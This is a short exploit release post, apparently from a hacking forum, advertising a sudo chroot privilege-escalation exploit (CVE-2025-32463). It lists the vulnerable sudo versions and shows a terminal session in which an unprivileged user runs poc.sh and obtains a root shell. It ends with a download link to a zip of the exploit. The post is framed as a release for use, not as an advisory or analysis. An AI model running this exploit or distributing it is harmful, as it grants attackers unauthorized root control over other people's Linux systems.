[ 0day (xc) Our ] 2025 SUDO EXPLOIT RELEASE FOR ROOT ACCESS … . CODE BY SKRAITO WITH SKRAITOW ( LORD JESUS CHRIST ) … .

Requirements

• sudo with chroot support (-R): version 1.9.14 to 1.9.17
• nsswitch enabled

Check if the current user has low privileges

:~/CVE-2025-32463$ id
uid=1001(poc) gid=1001(poc) groups=1001(poc),100(users)

Check requirements

:~/CVE-2025-32463$ sudo --version
Sudo version 1.9.15p5
...
:~/CVE-2025-32463$ ls -al /etc/nsswitch.conf
-rw-r--r-- 1 root root 526 Feb 16 20:57 /etc/nsswitch.conf

Run the exploit

:~/CVE-2025-32463$ chmod +x poc.sh && ./poc.sh
woot!
root@ubutes01:/# id
uid=0(root) gid=0(root) groups=0(root),100(users),1001(poc)

https://www.worldhacker.org/download-0day.xc.Our.license.apply/pewpew.sudo.exploit.zip